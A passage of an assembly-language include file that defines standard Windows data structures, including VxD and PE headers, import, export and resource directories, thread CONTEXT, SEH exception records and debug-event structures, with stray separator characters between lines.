VXD_rsrccnt DD ? ; Number of resource entries
|
||
VXD_restab DD ? ; Offset of resident name table
|
||
VXD_enttab DD ? ; Offset of Entry Table
|
||
VXD_dirtab DD ? ; Offset of Module Directive Table
|
||
VXD_dircnt DD ? ; Number of module directives
|
||
VXD_fpagetab DD ? ; Offset of Fixup Page Table
|
||
VXD_frectab DD ? ; Offset of Fixup Record Table
|
||
VXD_impmod DD ? ; Offset of Import Module Name Table
|
||
VXD_impmodcnt DD ? ; Number of entries in Import Module Name Table
|
||
VXD_impproc DD ? ; Offset of Import Procedure Name Table
|
||
VXD_pagesum DD ? ; Offset of Per-Page Checksum Table
|
||
VXD_datapage DD ? ; Offset of Enumerated Data Pages
|
||
VXD_preload DD ? ; Number of preload pages
|
||
VXD_nrestab DD ? ; Offset of Non-resident Names Table
|
||
VXD_cbnrestab DD ? ; Size of Non-resident Name Table
|
||
VXD_nressum DD ? ; Non-resident Name Table Checksum
|
||
VXD_autodata DD ? ; Object # for automatic data object
|
||
VXD_debuginfo DD ? ; Offset of the debugging information
|
||
VXD_debuglen DD ? ; The length of the debugging info. in bytes
|
||
VXD_instpreload DD ? ; Number of instance pages in preload section of VXD file
|
||
VXD_instdemand DD ? ; Number of instance pages in demand load section of VXD file
|
||
VXD_heapsize DD ? ; Size of heap - for 16-bit apps
|
||
VXD_res3 DB 12 DUP(?); Reserved words
|
||
VXD_winresoff DD ? ;
|
||
VXD_winreslen DD ? ;
|
||
VXD_devid DW ? ; Device ID for VxD
|
||
VXD_ddkver DW ? ; DDK version for VxD
|
||
IMAGE_VXD_HEADER ENDS ;
|
||
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄ´ PORTABLE EXE HEADER STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
IMAGE_FILE_HEADER STRUC ; Portable Exe File
|
||
PE_Magic DD ? ;
|
||
Machine DW ? ; Machine type
|
||
NumberOfSections DW ? ; Number of sections
|
||
TimeDateStamp DD ? ; Date and Time
|
||
PointerToSymbolTable DD ? ; Pointer to Symbols
|
||
NumberOfSymbols DD ? ; Number of Symbols
|
||
SizeOfOptionalHeader DW ? ; Size of Optional Header
|
||
Characteristics DW ? ; File characteristics
|
||
IMAGE_FILE_HEADER ENDS ;
|
||
|
||
IMAGE_FILE_HEADER_SIZE EQU SIZE IMAGE_FILE_HEADER
|
||
|
||
IMAGE_DATA_DIRECTORY STRUC ; Image data directory
|
||
DD_VirtualAddress DD ? ; Virtual address
|
||
DD_Size DD ? ; Virtual size
|
||
IMAGE_DATA_DIRECTORY ENDS ;
|
||
|
||
IMAGE_DIRECTORY_ENTRIES STRUC ; All directories
|
||
DE_Export IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Import IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Resource IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Exception IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Security IMAGE_DATA_DIRECTORY ? ;
|
||
DE_BaseReloc IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Debug IMAGE_DATA_DIRECTORY ? ;
|
||
DE_Copyright IMAGE_DATA_DIRECTORY ? ;
|
||
DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ;
|
||
DE_TLS IMAGE_DATA_DIRECTORY ? ;
|
||
DE_LoadConfig IMAGE_DATA_DIRECTORY ? ;
|
||
DE_BoundImport IMAGE_DATA_DIRECTORY ? ;
|
||
DE_IAT IMAGE_DATA_DIRECTORY ? ;
|
||
IMAGE_DIRECTORY_ENTRIES ENDS ;
|
||
|
||
IMAGE_OPTIONAL_HEADER STRUC ; Optional Header
|
||
OH_Magic DW ? ; Magic word
|
||
OH_MajorLinkerVersion DB ? ; Major Linker version
|
||
OH_MinorLinkerVersion DB ? ; Minor Linker version
|
||
OH_SizeOfCode DD ? ; Size of code section
|
||
OH_SizeOfInitializedData DD ? ; Initialized Data
|
||
OH_SizeOfUninitializedData DD ? ; Uninitialized Data
|
||
OH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIP
|
||
OH_BaseOfCode DD BYTE PTR ? ; Code Virtual Address
|
||
OH_BaseOfData DD BYTE PTR ? ; Data Virtual Address
|
||
OH_ImageBase DD BYTE PTR ? ; Base of image
|
||
OH_SectionAlignment DD ? ; Section Alignment
|
||
OH_FileAlignment DD ? ; File Alignment
|
||
OH_MajorOperatingSystemVersion DW ? ; Major OS
|
||
OH_MinorOperatingSystemVersion DW ? ; Minor OS
|
||
OH_MajorImageVersion DW ? ; Major Image version
|
||
OH_MinorImageVersion DW ? ; Minor Image version
|
||
OH_MajorSubsystemVersion DW ? ; Major Subsys version
|
||
OH_MinorSubsystemVersion DW ? ; Minor Subsys version
|
||
OH_Win32VersionValue DD ? ; win32 version
|
||
OH_SizeOfImage DD ? ; Size of image
|
||
OH_SizeOfHeaders DD ? ; Size of Header
|
||
OH_CheckSum DD ? ; unused
|
||
OH_Subsystem DW ? ; Subsystem
|
||
OH_DllCharacteristics DW ? ; DLL characteristic
|
||
OH_SizeOfStackReserve DD ? ; Stack reserve
|
||
OH_SizeOfStackCommit DD ? ; Stack commit
|
||
OH_SizeOfHeapReserve DD ? ; Heap reserve
|
||
OH_SizeOfHeapCommit DD ? ; Heap commit
|
||
OH_LoaderFlags DD ? ; Loader flags
|
||
OH_NumberOfRvaAndSizes DD ? ; Number of directories
|
||
UNION ; directory entries
|
||
OH_DataDirectory IMAGE_DATA_DIRECTORY\
|
||
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
|
||
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
|
||
ENDS ;
|
||
ENDS ;
|
||
|
||
IMAGE_SECTION_HEADER STRUC ; Section hdr.
|
||
SH_Name DB IMAGE_SIZEOF_SHORT_NAME DUP(?) ; name
|
||
UNION ;
|
||
SH_PhysicalAddress DD BYTE PTR ? ; Physical address
|
||
SH_VirtualSize DD ? ; Virtual size
|
||
ENDS ;
|
||
SH_VirtualAddress DD BYTE PTR ? ; Virtual address
|
||
SH_SizeOfRawData DD ? ; Raw data size
|
||
SH_PointerToRawData DD BYTE PTR ? ; pointer to raw data
|
||
SH_PointerToRelocations DD BYTE PTR ? ; ...
|
||
SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really used
|
||
SH_NumberOfRelocations DW ? ; ....
|
||
SH_NumberOfLinenumbers DW ? ; ..
|
||
SH_Characteristics DD ? ; flags
|
||
IMAGE_SECTION_HEADER ENDS ;
|
||
|
||
; Relocation format.
|
||
|
||
IMAGE_RELOCATION_DATA RECORD { ; relocation data
|
||
RD_RelocType :4 ; type
|
||
RD_RelocOffset :12 } ; address
|
||
|
||
IMAGE_BASE_RELOCATION STRUC ; base relocation
|
||
BR_VirtualAddress DD ? ; Virtual address
|
||
BR_SizeOfBlock DD ? ; size of relocation block
|
||
BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) ; relocation data
|
||
IMAGE_BASE_RELOCATION ENDS ;
|
||
|
||
IMAGE_LINENUMBER STRUC ; Line numbers
|
||
UNION ;
|
||
LN_SymbolTableIndex DD ? ; Sym. tbl. index of func. name if Linenr is 0.
|
||
LN_VirtualAddress DD ? ; Virtual address of line number.
|
||
ENDS ;
|
||
Linenumber DW ? ; Line number.
|
||
IMAGE_LINENUMBER ENDS ;
|
||
|
||
IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory type
|
||
ED_Characteristics DD ? ; Flags
|
||
ED_TimeDateStamp DD ? ; Date / Time
|
||
ED_MajorVersion DW ? ; Major version
|
||
ED_MinorVersion DW ? ; Minor version
|
||
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
|
||
UNION ;
|
||
ED_Base DD ? ; base
|
||
ED_BaseOrdinal DD ? ; base ordinal
|
||
ENDS ;
|
||
ED_NumberOfFunctions DD ? ; number of exported funcs.
|
||
UNION ;
|
||
ED_NumberOfNames DD ? ; number of exported names
|
||
ED_NumberOfOrdinals DD ? ; number of exported ordinals
|
||
ENDS ;
|
||
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
|
||
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
|
||
UNION ;
|
||
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinals
|
||
ED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals
|
||
ENDS ;
|
||
IMAGE_EXPORT_DIRECTORY ENDS ;
|
||
|
||
IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type
|
||
IBN_Hint DW 0; ; Hint entry
|
||
IBN_Name DB 1 DUP (?) ; name
|
||
IMAGE_IMPORT_BY_NAME ENDS ;
|
||
|
||
IMAGE_THUNK_DATA STRUC ; Thunk data
|
||
UNION ;
|
||
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure
|
||
TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG
|
||
TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address after program load)
|
||
TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
|
||
ENDS ;
|
||
IMAGE_THUNK_DATA ENDS ;
|
||
|
||
COMMENT $
|
||
; Thread Local Storage
|
||
|
||
IMAGE_TLS_DIRECTORY32 STRUC
|
||
TLS_StartAddressOfRawData DD BYTE PTR ?
|
||
TLS_EndAddressOfRawData DD BYTE PTR ?
|
||
TLS_AddressOfIndex DD BYTE PTR ?
|
||
TLS_AddressOfCallBacks DD IMAGE_TLS_CALLBACK PTR ?
|
||
TLS_SizeOfZeroFill DD 0
|
||
TLS_Characteristics DD 0
|
||
ENDS
|
||
$
|
||
|
||
|
||
IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor
|
||
UNION ;
|
||
ID_Characteristics DD ? ; 0 for last null import descriptor
|
||
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
|
||
ENDS ;
|
||
ID_TimeDateStamp DD ? ; 0 if not bound,
|
||
; -1 if bound, and real date\time stamp
|
||
; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
|
||
; O.W. date/time stamp of DLL bound to (Old BIND)
|
||
ID_ForwarderChain DD ? ; -1 if no forwarders
|
||
ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
|
||
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT has actual addresses)
|
||
IMAGE_IMPORT_DESCRIPTOR ENDS
|
||
|
||
IMAGE_IMPORT_DESCRIPTOR_SIZE EQU SIZE IMAGE_IMPORT_DESCRIPTOR
|
||
|
||
IMAGE_BOUND_IMPORT_DESCRIPTOR STRUC ;
|
||
BID_TimeDateStamp DD ? ;
|
||
BID_OffsetModuleName DW ? ;
|
||
BID_NumberOfModuleForwarderRefs DW ? ;
|
||
IMAGE_BOUND_IMPORT_DESCRIPTOR ENDS ;
|
||
|
||
IMAGE_BOUND_FORWARDER_REF STRUC ;
|
||
BFR_TimeDateStamp DD ? ;
|
||
BFR_OffsetModuleName DW ? ;
|
||
BFR_Reserved DW ? ;
|
||
IMAGE_BOUND_FORWARDER_REF ENDS ;
|
||
|
||
|
||
IMAGE_RESOURCE_DIRECTORY STRUC ;
|
||
RD_Characteristics DD ? ;
|
||
RD_TimeDateStamp DD ? ;
|
||
RD_MajorVersion DW ? ;
|
||
RD_MinorVersion DW ? ;
|
||
RD_NumberOfNamedEntries DW ? ;
|
||
RD_NumberOfIdEntries DW ? ;
|
||
IMAGE_RESOURCE_DIRECTORY ENDS ;
|
||
IMAGE_RESOURCE_DIRECTORY_SIZE = SIZE IMAGE_RESOURCE_DIRECTORY
|
||
|
||
IMAGE_RESOURCE_DIRECTORY_ENTRY STRUC ;
|
||
UNION ;
|
||
STRUC ;
|
||
RDE_Offset RECORD { ;
|
||
RDE_NameOffset:31 ;
|
||
RDE_NameIsString:1 } ;
|
||
ENDS ;
|
||
RDE_Name DD ? ;
|
||
RDE_Id DW ? ;
|
||
ENDS ;
|
||
UNION ;
|
||
RDE_OffsetToData DD ? ;
|
||
STRUC ;
|
||
RDE_Directory RECORD { ;
|
||
RDE_OffsetToDirectory:31 ;
|
||
RDE_DataIsDirectory:1 } ;
|
||
ENDS ;
|
||
ENDS ;
|
||
IMAGE_RESOURCE_DIRECTORY_ENTRY ENDS ;
|
||
|
||
IMAGE_RESOURCE_DIRECTORY_STRING STRUC ;
|
||
RDS_Length DW ? ;
|
||
RDS_NameString DB 1 DUP(?) ;
|
||
IMAGE_RESOURCE_DIRECTORY_STRING ENDS ;
|
||
|
||
IMAGE_RESOURCE_DIR_STRING_U STRUC ;
|
||
RDSU_Length DW ? ;
|
||
RDSU_NameString DB 1 DUP (?) ;
|
||
ENDS ;
|
||
|
||
IMAGE_RESOURCE_DATA_ENTRY STRUC ;
|
||
REDE_OffsetToData DD ? ;
|
||
REDE_Size DD ? ;
|
||
REDE_CodePage DD ? ;
|
||
REDE_Reserved DD ? ;
|
||
IMAGE_RESOURCE_DATA_ENTRY ENDS ;
|
||
|
||
IMAGE_DEBUG_DIRECTORY STRUC ;
|
||
DD_Characteristics DD ? ;
|
||
DD_TimeDateStamp DD ? ;
|
||
DD_MajorVersion DW ? ;
|
||
DD_MinorVersion DW ? ;
|
||
DD_Type DD ? ;
|
||
DD_SizeOfData DD ? ;
|
||
DD_AddressOfRawData DD BYTE PTR ? ;
|
||
DD_PointerToRawData DD BYTE PTR ? ;
|
||
IMAGE_DEBUG_DIRECTORY ENDS ;
|
||
|
||
|
||
IMAGE_COFF_SYMBOLS_HEADER STRUC ;
|
||
CSH_NumberOfSymbols DD ? ;
|
||
CSH_LvaToFirstSymbol DD BYTE PTR ? ;
|
||
CSH_NumberOfLinenumbers DD ? ;
|
||
CSH_LvaToFirstLinenumber DD BYTE PTR ? ;
|
||
CSH_RvaToFirstByteOfCode DD BYTE PTR ? ;
|
||
CSH_RvaToLastByteOfCode DD BYTE PTR ? ;
|
||
CSH_RvaToFirstByteOfData DD BYTE PTR ? ;
|
||
CSH_RvaToLastByteOfData DD BYTE PTR ? ;
|
||
IMAGE_COFF_SYMBOLS_HEADER ENDS ;
|
||
|
||
IMAGE_DEBUG_MISC STRUC ;
|
||
DM_DataType DD ? ; type of misc data, see defines
|
||
DM_Length DD ? ; total length of record, rounded to four
|
||
DM_Unicode DB ? ; TRUE if data is unicode string
|
||
DM_Reserved DB 3 DUP(?) ;
|
||
DM_Data DB 1 DUP(?) ; Actual data
|
||
IMAGE_DEBUG_MISC ENDS ;
|
||
|
||
IMAGE_SEPARATE_DEBUG_HEADER STRUC ;
|
||
SDH_Signature DW ? ;
|
||
SDH_Flags DW ? ;
|
||
SDH_Machine DW ? ;
|
||
SDH_Characteristics DW ? ;
|
||
SDH_TimeDateStamp DD ? ;
|
||
SDH_CheckSum DD ? ;
|
||
SDH_ImageBase DD BYTE PTR ? ;
|
||
SDH_SizeOfImage DD ? ;
|
||
SDH_NumberOfSections DD ? ;
|
||
SDH_ExportedNamesSize DD ? ;
|
||
SDH_DebugDirectorySize DD ? ;
|
||
SDH_SectionAlignment DD ? ;
|
||
SDH_Reserved DD 2 DUP (?) ;
|
||
IMAGE_SEPARATE_DEBUG_HEADER ENDS ;
|
||
|
||
IMPORT_OBJECT_HEADER STRUC ;
|
||
OH_Sig1 DW ? ; Must be IMAGE_FILE_MACHINE_UNKNOWN
|
||
OH_Sig2 DW ? ; Must be IMPORT_OBJECT_HDR_SIG2.
|
||
OH_Version DW ? ;
|
||
OH_Machine DW ? ;
|
||
OH_TimeDateStamp DD ? ; Time/date stamp
|
||
OH_SizeOfData DD ? ; particularly useful for incremental links
|
||
UNION ;
|
||
OH_Ordinal DW ? ; if grf & IMPORT_OBJECT_ORDINAL
|
||
OH_Hint DW ? ;
|
||
ENDS ;
|
||
OH_ImportType RECORD { ;
|
||
OH_Type : 2 ; IMPORT_TYPE
|
||
OH_NameType : 3 ; IMPORT_NAME_TYPE
|
||
OH_Reserved : 11 } ; Reserved. Must be zero.
|
||
IMPORT_OBJECT_HEADER ENDS ;
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄ´ CONTEXT STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
FLOATING_SAVE_AREA STRUC
|
||
ControlWord DD ?
|
||
StatusWord DD ?
|
||
TagWord DD ?
|
||
ErrorOffset DD ?
|
||
ErrorSelector DD ?
|
||
DataOffset DD ?
|
||
DataSelector DD ?
|
||
RegisterArea DB SIZE_OF_80387_REGISTERS DUP(?)
|
||
Cr0NpxState DD ?
|
||
FLOATING_SAVE_AREA ENDS
|
||
|
||
CONTEXT STRUC
|
||
CONTEXT_ContextFlags DD ?
|
||
CONTEXT_Dr0 DD ?
|
||
CONTEXT_Dr1 DD ?
|
||
CONTEXT_Dr2 DD ?
|
||
CONTEXT_Dr3 DD ?
|
||
CONTEXT_Dr6 DD ?
|
||
CONTEXT_Dr7 DD ?
|
||
|
||
CONTEXT_FloatSave FLOATING_SAVE_AREA ?
|
||
|
||
CONTEXT_SegGs DD ?
|
||
CONTEXT_SegFs DD ?
|
||
CONTEXT_SegEs DD ?
|
||
CONTEXT_SegDs DD ?
|
||
|
||
CONTEXT_Edi DD ?
|
||
CONTEXT_Esi DD ?
|
||
CONTEXT_Ebx DD ?
|
||
CONTEXT_Edx DD ?
|
||
CONTEXT_Ecx DD ?
|
||
CONTEXT_Eax DD ?
|
||
|
||
CONTEXT_Ebp DD ?
|
||
CONTEXT_Eip DD ?
|
||
CONTEXT_SegCs DD ?
|
||
CONTEXT_EFlags DD ?
|
||
CONTEXT_Esp DD ?
|
||
CONTEXT_SegSs DD ?
|
||
|
||
CONTEXT_ExtendedRegisters DB MAXIMUM_SUPPORTED_EXTENSION DUP(?)
|
||
CONTEXT ENDS
|
||
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄ´ SEH EXCEPTION HANDLER STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
EXCEPTION_RECORD STRUC
|
||
ER_ExceptionCode DD ?
|
||
ER_ExceptionFlags DD ?
|
||
ER_ExceptionRecord DD EXCEPTION_RECORD PTR ?
|
||
ER_ExceptionAddress DD BYTE PTR ?
|
||
ER_NumberParameters DD ?
|
||
ER_ExceptionInformation DD EXCEPTION_MAXIMUM_PARAMETERS DUP(?)
|
||
EXCEPTION_RECORD ENDS
|
||
|
||
EXCEPTION_POINTERS STRUC ;
|
||
EP_ExceptionRecord DD EXCEPTION_RECORD PTR ? ; pointer to exception rec
|
||
EP_ContextRecord DD CONTEXT PTR ? ; pointer to a context
|
||
EXCEPTION_POINTERS ENDS ;
|
||
|
||
;ÄÄÄÄÄÄÄÄÄÄ´ MISCLANCELLOUS STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
MEMORY_BASIC_INFORMATION STRUC ;
|
||
MBI_BaseAddress DD BYTE PTR ? ;
|
||
MBI_AllocationBase DD BYTE PTR ? ;
|
||
MBI_AllocationProtect DD ? ;
|
||
MBI_RegionSize DD ? ;
|
||
MBI_State DD ? ;
|
||
MBI_Protect DD ? ;
|
||
MBI_Type DD ? ;
|
||
MEMORY_BASIC_INFORMATION ENDS ;
|
||
|
||
FILE_NOTIFY_INFORMATION STRUC ;
|
||
FNI_NextEntryOffset DD ? ;
|
||
FNI_Action DD ? ;
|
||
FNI_FileNameLength DD ? ;
|
||
FNI_FileName DB 1 DUP(?) ;
|
||
FILE_NOTIFY_INFORMATION ENDS ;
|
||
|
||
MESSAGE_RESOURCE_ENTRY STRUC ;
|
||
MRE_Length DW ? ;
|
||
MRE_Flags DW ? ;
|
||
MRE_Text DB 1 DUP(?) ;
|
||
MESSAGE_RESOURCE_ENTRY ENDS ;
|
||
|
||
MESSAGE_RESOURCE_BLOCK STRUC ;
|
||
MRB_LowId DD ? ;
|
||
MRB_HighId DD ? ;
|
||
MRB_OffsetToEntries DD ? ;
|
||
MESSAGE_RESOURCE_BLOCK ENDS ;
|
||
|
||
MESSAGE_RESOURCE_DATA STRUC ;
|
||
MRD_NumberOfBlocks DD ? ;
|
||
MRD_Blocks MESSAGE_RESOURCE_BLOCK 1 DUP(?) ;
|
||
MESSAGE_RESOURCE_DATA ENDS ;
|
||
|
||
EVENTLOGRECORD STRUC
|
||
ELR_Length DD ? ; Length of full record
|
||
ELR_Reserved DD ? ; Used by the service
|
||
ELR_RecordNumber DD ? ; Absolute record number
|
||
ELR_TimeGenerated DD ? ; Seconds since 1-1-1970
|
||
ELR_TimeWritten DD ? ; Seconds since 1-1-1970
|
||
ELR_EventID DD ? ;
|
||
ELR_EventType DW ? ;
|
||
ELR_NumStrings DW ? ;
|
||
ELR_EventCategory DW ? ;
|
||
ELR_ReservedFlags DW ? ; For use with paired events (auditing)
|
||
ELR_ClosingRecordNumber DD ? ; For use with paired events (auditing)
|
||
ELR_StringOffset DD ? ; Offset from beginning of record
|
||
ELR_UserSidLength DD ? ;
|
||
ELR_UserSidOffset DD ? ;
|
||
ELR_DataLength DD ? ;
|
||
ELR_DataOffset DD ? ; Offset from beginning of record
|
||
EVENTLOGRECORD ENDS ;
|
||
|
||
OVERLAPPED STRUC ;
|
||
O_Internal DD ? ;
|
||
O_InternalHigh DD ? ;
|
||
O_Offset DD ? ;
|
||
O_OffsetHigh DD ? ;
|
||
O_hEvent DD ? ;
|
||
OVERLAPPED ENDS ;
|
||
|
||
SECURITY_ATTRIBUTES STRUC ;
|
||
SA_nLength DD ? ;
|
||
SA_lpSecurityDescriptor DD BYTE PTR ? ;
|
||
SA_bInheritHandle DB ? ;
|
||
SECURITY_ATTRIBUTES ENDS ;
|
||
|
||
PROCESS_INFORMATION STRUC ;
|
||
PI_hProcess DD ? ;
|
||
PI_hThread DD ? ;
|
||
PI_dwProcessId DD ? ;
|
||
PI_dwThreadId DD ? ;
|
||
PROCESS_INFORMATION ENDS ;
|
||
|
||
FILETIME STRUC ;
|
||
FT_dwLowDateTime DD ? ;
|
||
FT_dwHighDateTime DD ? ;
|
||
FILETIME ENDS ;
|
||
|
||
SYSTEMTIME STRUC ;
|
||
ST_wYear DW ? ;
|
||
ST_wMonth DW ? ;
|
||
ST_wDayOfWeek DW ? ;
|
||
ST_wDay DW ? ;
|
||
ST_wHour DW ? ;
|
||
ST_wMinute DW ? ;
|
||
ST_wSecond DW ? ;
|
||
ST_wMilliseconds DW ? ;
|
||
SYSTEMTIME ENDS ;
|
||
|
||
|
||
SYSTEM_INFO STRUC ;
|
||
UNION ;
|
||
SI_dwOemId DW ? ; Obsolete field...do not use
|
||
STRUC ;
|
||
SI_wProcessorArchitecture DW ? ;
|
||
SI_wReserved DW ? ;
|
||
ENDS ;
|
||
ENDS ;
|
||
SI_dwPageSize DD ? ;
|
||
SI_lpMinimumApplicationAddress DD BYTE PTR ?
|
||
SI_lpMaximumApplicationAddress DD BYTE PTR ?
|
||
SI_dwActiveProcessorMask DD ? ;
|
||
SI_dwNumberOfProcessors DD ? ;
|
||
SI_dwProcessorType DD ? ;
|
||
SI_dwAllocationGranularity DD ? ;
|
||
SI_wProcessorLevel DW ? ;
|
||
SI_wProcessorRevision DW ? ;
|
||
SYSTEM_INFO ENDS ;
|
||
|
||
MEMORYSTATUS STRUC ;
|
||
MS_dwLength DD ? ;
|
||
MS_dwMemoryLoad DD ? ;
|
||
MS_dwTotalPhys DD ? ;
|
||
MS_dwAvailPhys DD ? ;
|
||
MS_dwTotalPageFile DD ? ;
|
||
MS_dwAvailPageFile DD ? ;
|
||
MS_dwTotalVirtual DD ? ;
|
||
MS_dwAvailVirtual DD ? ;
|
||
MEMORYSTATUS ENDS ;
|
||
|
||
EXCEPTION_DEBUG_INFO STRUC ;
|
||
EDI_ExceptionRecord EXCEPTION_RECORD ? ;
|
||
EDI_dwFirstChance DD ? ;
|
||
EXCEPTION_DEBUG_INFO ENDS ;
|
||
|
||
THREAD_START_ROUTINE STRUC ; I wasn't able to find a right
|
||
DD BYTE PTR ? ; definition for this one
|
||
THREAD_START_ROUTINE ENDS ;
|
||
|
||
CREATE_THREAD_DEBUG_INFO STRUC ;
|
||
CTDI_hThread DD ? ;
|
||
CTDI_lpThreadLocalBase DD BYTE PTR ? ;
|
||
CTDI_lpStartAddress DD BYTE PTR THREAD_START_ROUTINE
|
||
CREATE_THREAD_DEBUG_INFO ENDS ;
|
||
|
||
CREATE_PROCESS_DEBUG_INFO STRUC ;
|
||
CPDI_hFile DD ? ;
|
||
CPDI_hProcess DD ? ;
|
||
CPDI_hThread DD ? ;
|
||
CPDI_lpBaseOfImage DD BYTE PTR ? ;
|
||
CPDI_dwDebugInfoFileOffset DD ? ;
|
||
CPDI_nDebugInfoSize DD ? ;
|
||
CPDI_lpThreadLocalBase DD BYTE PTR ? ;
|
||
CPDI_lpStartAddress DD BYTE PTR THREAD_START_ROUTINE
|
||
CPDI_lpImageName DD BYTE PTR ? ;
|
||
CPDI_fUnicode DW ? ;
|
||
CREATE_PROCESS_DEBUG_INFO ENDS ;
|
||
|
||
EXIT_THREAD_DEBUG_INFO STRUC ;
|
||
ETDI_dwExitCode DD ? ;
|
||
EXIT_THREAD_DEBUG_INFO ENDS ;
|
||
|
||
EXIT_PROCESS_DEBUG_INFO STRUC ;
|
||
EPDI_dwExitCode DD ? ;
|
||
EXIT_PROCESS_DEBUG_INFO ENDS ;
|
||
|
||
LOAD_DLL_DEBUG_INFO STRUC ;
|
||
LDDI_hFile DD ? ;
|
||
LDDI_lpBaseOfDll DD BYTE PTR ? ;
|
||
LDDI_dwDebugInfoFileOffset DD ? ;
|
||
LDDI_nDebugInfoSize DD ? ;
|
||
LDDI_lpImageName DD BYTE PTR ? ;
|
||
LDDI_fUnicode DW ? ;
|
||
LOAD_DLL_DEBUG_INFO ENDS ;
|
||
|
||
UNLOAD_DLL_DEBUG_INFO STRUC ;
|
||
UDDI_lpBaseOfDll DD BYTE PTR ? ;
|
||
UNLOAD_DLL_DEBUG_INFO ENDS ;
|
||
|
||
OUTPUT_DEBUG_STRING_INFO STRUC ;
|
||
ODSI_lpDebugStringData DD BYTE PTR ? ;
|
||
ODSI_fUnicode DW ? ;
|
||
ODSI_nDebugStringLength DW ? ;
|
||
OUTPUT_DEBUG_STRING_INFO ENDS ;
|
||
|
||
RIP_INFO STRUC
|
||
RIP_dwError dd ?
|
||
RIP_dwType dd ?
|
||
RIP_INFO ENDS
|
||
|
||
DEBUG_EVENT STRUC ;
|
||
DEV_dwDebugEventCode DD ? ;
|
||
DEV_dwProcessId DD ? ;
|
||
DEV_dwThreadId DD ? ;
|
||
UNION ;
|
||
DEV_Exception EXCEPTION_DEBUG_INFO ? ;
|
||
DEV_CreateThread CREATE_THREAD_DEBUG_INFO ? ;
|
||
DEV_CreateProcessInfo CREATE_PROCESS_DEBUG_INFO ? ;
|
||
DEV_ExitThread EXIT_THREAD_DEBUG_INFO ? ;
|
||
DEV_ExitProcess EXIT_PROCESS_DEBUG_INFO ? ;
|
||
DEV_LoadDll LOAD_DLL_DEBUG_INFO ? ;
|
||
DEV_UnloadDll UNLOAD_DLL_DEBUG_INFO ? ;
|
||
DEV_DebugString OUTPUT_DEBUG_STRING_INFO ? ;
|
||
DEV_RipInfo RIP_INFO ? ;
|
||
ENDS ;
|
||
DEBUG_EVENT ENDS ;
|
||
|
||
|
||
PROCESS_HEAP_ENTRY STRUC ;
|
||
lpData DD BYTE PTR ? ;
|
||
cbData DD ? ;
|
||
cbOverhead DB ? ;
|
||
iRegionIndex DB ? ;
|
||
wFlags DW ? ;
|
||
UNION ;
|
||
STRUC ;
|
||
hMem DD ? ;
|
||
dwReserved DD 3 DUP(?) ;
|
||
ENDS ;
|
||
STRUC ;
|
||
dwCommittedSize DD ? ;
|
||
dwUnCommittedSize DD ? ;
|
||
lpFirstBlock DD BYTE PTR ? ;
|
||
lpLastBlock DD BYTE PTR ? ;
|
||
ENDS ;
|
||
ENDS ;
|
||
PROCESS_HEAP_ENTRY ENDS ;
|
||
|
||
|
||
STARTUPINFO STRUC ;
|
||
STI_cb DD ? ;
|
||
STI_lpReserved DD BYTE PTR ? ;
|
||
STI_lpDesktop DD BYTE PTR ? ;
|
||
STI_lpTitle DD BYTE PTR ? ;
|
||
STI_dwX DD ? ;
|
||
STI_dwY DD ? ;
|
||
STI_dwXSize DD ? ;
|
||
STI_dwYSize DD ? ;
|
||
STI_dwXCountChars DD ? ;
|
||
STI_dwYCountChars DD ? ;
|
||
STI_dwFillAttribute DD ? ;
|
||
STI_dwFlags DD ? ;
|
||
STI_wShowWindow DW ? ;
|
||
STI_cbReserved2 DW ? ;
|
||
STI_lpReserved2 DD BYTE PTR ? ;
|
||
STI_hStdInput DD ? ;
|
||
STI_hStdOutput DD ? ;
|
||
STI_hStdError DD ? ;
|
||
STARTUPINFO ENDS ;
|
||
|
||
WIN32_FIND_DATA STRUC ;
|
||
WFD_dwFileAttributes DD ? ;
|
||
WFD_ftCreationTime FILETIME ? ;
|
||
WFD_ftLastAccessTime FILETIME ? ;
|
||
WFD_ftLastWriteTime FILETIME ? ;
|
||
WFD_nFileSizeHigh DD ? ;
|
||
WFD_nFileSizeLow DD ? ;
|
||
